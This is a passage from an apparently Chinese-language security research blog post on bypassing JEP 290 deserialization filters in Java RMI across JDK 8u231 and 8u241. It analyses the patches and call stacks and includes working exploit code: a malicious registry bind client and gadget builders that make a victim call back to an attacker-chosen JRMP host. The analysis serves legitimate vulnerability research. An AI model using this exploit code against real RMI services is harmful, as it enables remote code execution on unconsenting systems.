RemoteRef ref = registry.getRef();
RemoteCall remoteCall = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutputStream o = (ObjectOutputStream) remoteCall.getOutputStream();
// 修改enableReplace
Field fi = o.getClass().getSuperclass().getSuperclass().getDeclaredField("enableReplace");
fi.setAccessible(true);
fi.set(o, false);
// 写入payload,直接绕过String的限制
o.writeObject(remote);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}

改写的lookup几乎如法炮制第3种思路改写的bind,就操作号换了一下,序列化的参数换了一下2333

8u231修复

针对前面JEP290的局限性,给StreamRemoteCall添加了filter局部过滤器,并在合适的地方(反序列化前)赋值(但并没有考虑全,造成了后面的绕过),因此调用任何StreamRemoteCall#getInputStream方法且filter不为空时,都会给取出的ConnectionInputStream设置过滤器。

  1. sun.rmi.registry.RegistryImpl_Skel#dispatch报错情况消除ref

在openjdk中可以在线查看对比8u232u8的RegistryImpl_Skel.java8u232u9的RegistryImpl_Skel.java

其实只有一行的区别,在RegistryImpl_Skel#dispatch每个动作比如lookup、bind等都添加了一个逻辑:**反序列化报错都会进入catch,执行discardPedingRefs**。

image-20211202100822650

看一下我们可能会报错的情况

  • 自定义类:报错ClassNotFoundException。针对了第1种思路
  • 无法类型转换:报错ClassNotFoundException。针对lookup、unbind这种Registry端接受的实际类型是String,但传输恶意对象是其他类型的情况。但对于bind/rebind Registry端第二个参数本身就是Remote,这里限制不了,需要依赖第2个修复

sun.rmi.transport.StreamRemoteCall#discardPendingRefs中其实也就是做了一件事情,把我们之前装载的incomingRefTable清空。这样ref就保存不下来了,因此在后续registerRefsDGC客户端就无法向我们的DGC服务端发起连接了

1
2
3
4
5
6
7
public void discardPendingRefs() {
this.in.discardRefs();//去下面
}
//sun.rmi.transport.ConnectionInputStream#discardRefs
void discardRefs() {
this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
}
  1. DGCImpl_Stub#dirty中,给StreamRemoteCall添加了过滤器(在最开头)。

![image-20211207211407257](/Users/diggid/Library/Application Support/typora-user-images/image-20211207211407257.png)

绕过8u231

这里先把笔者精简过的payload放一下,还是以Server端打Registry端为例

  • 恶意Client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class EvilServerBypass8u231 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(9999);
// Naming.bind("rmi://127.0.0.1:7777/remote", remoteObject);
// 获取恶意类
String host = "127.0.0.1";
int port = 8787;
Remote remote = Util.getEvilUnicastRefBypass8u231(host, port);
registry = LocateRegistry.getRegistry(9999);
bind("service", remote, (RegistryImpl_Stub) registry);
}

private static void bind(String name, Remote remote, RegistryImpl_Stub registry) throws Exception{
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteRef ref = registry.getRef();
RemoteCall remoteCall = ref.newCall(registry, operations, 0, 4905912898345647071L);
ObjectOutputStream o = (ObjectOutputStream) remoteCall.getOutputStream();
// 1.修改enableReplace,绕过replaceObject
Field fi = o.getClass().getSuperclass().getSuperclass().getDeclaredField("enableReplace");
fi.setAccessible(true);
fi.set(o, false);
o.writeObject(name);
o.writeObject(remote);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
  • 用来生成不同UnicastRef、不同Gadgets的Util类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class Util {

public static Object getEvil() throws Exception {
// CC6放这
}

public static UnicastRef getUnicastRef(String host, int port) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
return new UnicastRef(new LiveRef(id, te, false));
}

public static Remote getEvilUnicastRef(String host, int port) throws Exception {
EvilUnicastRef remote = new EvilUnicastRef(getUnicastRef(host, port));
return remote;
}


public static UnicastRemoteObject getEvilUnicastRefBypass8u231(String host, int port) throws Exception{
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(getUnicastRef(host, port));
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
// UnicastRemoteObject constructor is protected. It needs to use reflections to new a object
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field f = remoteObject.getClass().getDeclaredField("ssf");
f.setAccessible(true);
f.set(remoteObject, serverSocketFactory);
return remoteObject;
}

public static Remote getEvilUnicastRefBypass8u231Customizer(String host, int port) throws Exception{
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(getUnicastRef(host, port));
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
return new EvilRemoteObject3(serverSocketFactory);
}

}

这个绕过思路是@An Trinh师傅提出来的,文章收录在这篇文章中。坑点很多,也有点套娃,但是不妨碍这个绕过思路大放异彩。从下面的分析中就可以知道原作者对RMI要有多熟才能想到,但其实仔细再回看总结一下前面RMI基础部分各端的交互流程的各个细节,其实这个绕过也就自然而然了。

从恶意的UnicastRef的封装细节入手,又使用到了一些其他的原生Gadgets。关注两个地方:

  1. 为什么要UnicastRemoteObject来封装在最外层,换成其他的行不行?(因为UnicastRemoteObject会受到replaceObject的影响)
  2. 为什么要用动态代理,且代理的接口是RMIServerSocketFactory,handler是RemoteObjectInvocationHandler

先从8u231的修复说起

  • 对于第一处修复,是在Registry端的修复,限制的是第一次反序列化出UnicastRef的过程。对于bind操作来说,只要UnicastRef是被封装在已知Remote实例中,就没啥问题,但是对于lookup来说,String类型的限制可以干掉所有前面说的4种绕过思路
  • 对于第二处修复,是在DGC客户端的修复,限制的是第二次反序列化Gadgets的过程。

其实这种修复已经很”天衣无缝”了。但是还可以绕过,思路大致是:在RegistryImpl_Skel#dispatch反序列化时(还没反序列化完,绕过报错),在这里就发出JRMP请求,不需要后面的releaseInputStream,同时也不需要在DGC客户端的ConnectionInputStream中完成readObject,而是另起一道来执行(绕过DGC层过滤)。

可能实现吗?

其实我们最终的Sink点是UnicastRef#invoke ,前面的无论咋变,只能要触发到这个Sink都可以。而UnicastRef#invoke的invoke方法有两个重载

  • invoke(java.rmi.server.RemoteCall)
  • invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long)

仔细总结前面的流程会发现,这些invoke都是提供给Stub用来让客户端(相对的)引用UnicastRef和服务端引用UnicastServerRef通信的。我们有RegistryImpl_StubDGCImpl_StubRemoteObjectInvocationHandler的代理

  • RegistryImpl_StubDGCImpl_Stub使用的是第一个重载
  • RemoteObjectInvocationHandler的代理使用的是第二个重载

前面我们都是使用的第一个重载的方式触发的通信,但是8u231修复了DGCImpl_Stub的反序列化。这里我们使用的是第二个重载的方式。在Server端远程远程对象创建的过程中,生成RemoteObjectInvocationHandler的代理封装在Target里在ObjectTable中。所以最终的Sink点是RemoteObjectInvocationHandler#invoke -> UnicastRef#invoke,对于Client端(Client端使用代理来调用远程方法),JEP290和8u231的修复都没有针对这里,所以在RemoteObjectInvocationHandler的代理这一层的StreamRemoteCall中,是没有设置filter的。

关注UnicastRemoteObject#readObject方法,我们前面提到过他可以开启一个JRMP的监听端口。带着payload我们跟进看一下,从readObject开始跟进如下调用栈

1
2
3
4
5
6
7
8
9
10
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)

image-20211202151148915

这里会调用RMIServerSocketFactory工厂的RMIServerSocketFactory来建立RMI监听。这个工厂是从UnicastRemoteObject的ssf成员变量中拿出来的,同时在exportObject创建LiveRef的过程中会传递给TCPEndpoint,所以这玩意的是可控的,我们创建了一个代理类,代理了该端口,同时handler是RemoteObjectInvocationHandler,调用createServerSocket就会进入RemoteObjectInvocationHandler#invoke,之后的流程就是以前面说的从RemoteObjectInvocationHandler#invokeUnicastRef#invoke,完整调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
executeCall:233, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)

所以上面这种方式的确能绕过8u231的修复2,成功规避的DGC层的调用。同时,上述过程是在反序列化UnicastRemoteObject时就完成的,因此还没到类型转换,所以又绕过了修复1,挺完美的,也挺巧的。这里再放一下修复前后的两条调用栈

  • 修复前
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
executeCall:233, StreamRemoteCall (sun.rmi.transport)
invoke:215, UnicastRef (sun.rmi.server)
dirty:106, DGCImpl_Stub (sun.rmi.transport)

makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:175, StreamRemoteCall (sun.rmi.transport)

dispatch:93, RegistryImpl_Skel (sun.rmi.registry)

oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
  • 修复后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
executeCall:233, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)

createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)

readObject:235, UnicastRemoteObject (java.rmi.server)
...
readObject:431, ObjectInputStream (java.io)

dispatch:88, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

8u241修复

  1. RegistryImpl_Skel的四个操作中(String)var9.readobject()的部分换成SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);,即完全不接受String类型参数处的反序列化。这里前面没提,对于那四个操作,bind的第一个参数也可以作为我们恶意对象的注入位置。这个修复重点针对的应该是lookup的情况,对于bind,前面提到了在Registry端已经有IP的限制了:RegistryImpl.checkAccess("Registry.bind");
  2. RemoteObjectInvocationHandler#invokeRemoteMethod处加了一处被代理的方法的所属类是否为Remote类型的判断。这是命中要害的地方,前面动态代理的方法是createServerSocket,类是RMIServerSocketFactory自然就被拦截了。

![image-20211203100220886](/Users/diggid/Library/Application Support/typora-user-images/image-20211203100220886.png)

但是对于第二条修复,仍然有绕过的可能性,只不过在现有的调用链中比较难找。

绕过8u241(0day 加油找!!)

  1. UnicastRemoteObject可以换成其他可反序列化的类,但是要满足:
    • 可以持有一个Remote类型的变量,该变量的值是和前面一样的但是代理的是Remote接口的代理类。
    • 在该类的反序列化过程中,有Remote类型的方法调用。且这个方法的调用者还得是可控的变量,即上面的代理类。
    • 这个类和过程可以不是sum.rmi包下的,只要和rmi有关的都可以找找看。比如在jndi、jmx里面找
  2. RegistryImpl_Stub的四个操作没有被限制。但是要求在RegistryImpl_Skel的发配流程中能够主动调用这四个操作(几乎不可能)

后记

还有一些Todo:

  • 替身攻击的实现。涉及修改标准内置jar的问题。
  • JavaAgent运行时修改,能否更完美的解决参数限制的绕过问题(4种思路)
  • 8u241的绕过。
  • JRMP协议的具体分析。
  • RMI 回显

发现

  • 攻击总结

image-20211201154536523

  • RMI远程类加载器(codebase)的SPI机制能不能恶意利用一下

image-20211130135739282

参考

感谢各位师傅的研究总结!膜拜

https://su18.org/post/rmi-attack/#jep-290

https://xz.aliyun.com/t/7932#toc-0

https://xz.aliyun.com/t/7930#toc-13

https://paper.seebug.org/1689/#jvm

CATALOG
  1. 1. RMI 基础
    1. 1.1. RMI是什么
    2. 1.2. RMI 怎么用
    3. 1.3. RMI特性
      1. 1.3.1. 动态类加载
    4. 1.4. RMI 源码
      1. 1.4.1. 服务创建
        1. 1.4.1.1. 远程对象创建
        2. 1.4.1.2. 注册中心创建
      2. 1.4.2. 服务注册(bind)
        1. 1.4.2.1. 服务端
        2. 1.4.2.2. Registry端
      3. 1.4.3. 服务发现(lookup)
        1. 1.4.3.1. Client端
        2. 1.4.3.2. Registry端
      4. 1.4.4. 服务调用
        1. 1.4.4.1. Client端
        2. 1.4.4.2. 服务端
      5. 1.4.5. 总结
  2. 2. 攻击 RMI - JEP290前
    1. 2.1. 攻击Server端
      1. 2.1.1. 恶意服务参数
      2. 2.1.2. 动态类加载
    2. 2.2. 攻击Registry端
    3. 2.3. 攻击Client端
      1. 2.3.1. 恶意Server Stub
      2. 2.3.2. 恶意Server端返回值
      3. 2.3.3. 动态类加载
    4. 2.4. 攻击DGC
      1. 2.4.1. DGC介绍
      2. 2.4.2. DGC客户端打DGC服务端
      3. 2.4.3. UnicastRemoteObject
  3. 3. JEP290
    1. 3.1. JEP290 基础
      1. 3.1.1. ObjectInputStream类
      2. 3.1.2. ObjectInputFilter接口
      3. 3.1.3. ObjectInputFilter$Config静态类
      4. 3.1.4. Config$Global静态类
    2. 3.2. 过滤器
      1. 3.2.1. 全局过滤器
      2. 3.2.2. 局部过滤器
    3. 3.3. RMI
      1. 3.3.1. UnicastServerRef导出过程
      2. 3.3.2. Registry层面
      3. 3.3.3. DGC层面
      4. 3.3.4. 通过JVM和配置文件配置
      5. 3.3.5. JEP290的局限性
  4. 4. bind的局限性
  5. 5. 原生Gadgets + JRMP绕过JEP290
    1. 5.1. JRMP服务端打JRMP客户端
    2. 5.2. Server端打Registry端 - 结合bind
      1. 5.2.1. UnicastRef
      2. 5.2.2. 解决bind端的参数限制
      3. 5.2.3. 真正解释为何能绕过JEP290
    3. 5.3. Client端打Registry端 - 结合lookup
    4. 5.4. 8u231修复
    5. 5.5. 绕过8u231
    6. 5.6. 8u241修复
    7. 5.7. 绕过8u241(0day 加油找!!)
  6. 6. 后记
  7. 7. 发现
  8. 8. 参考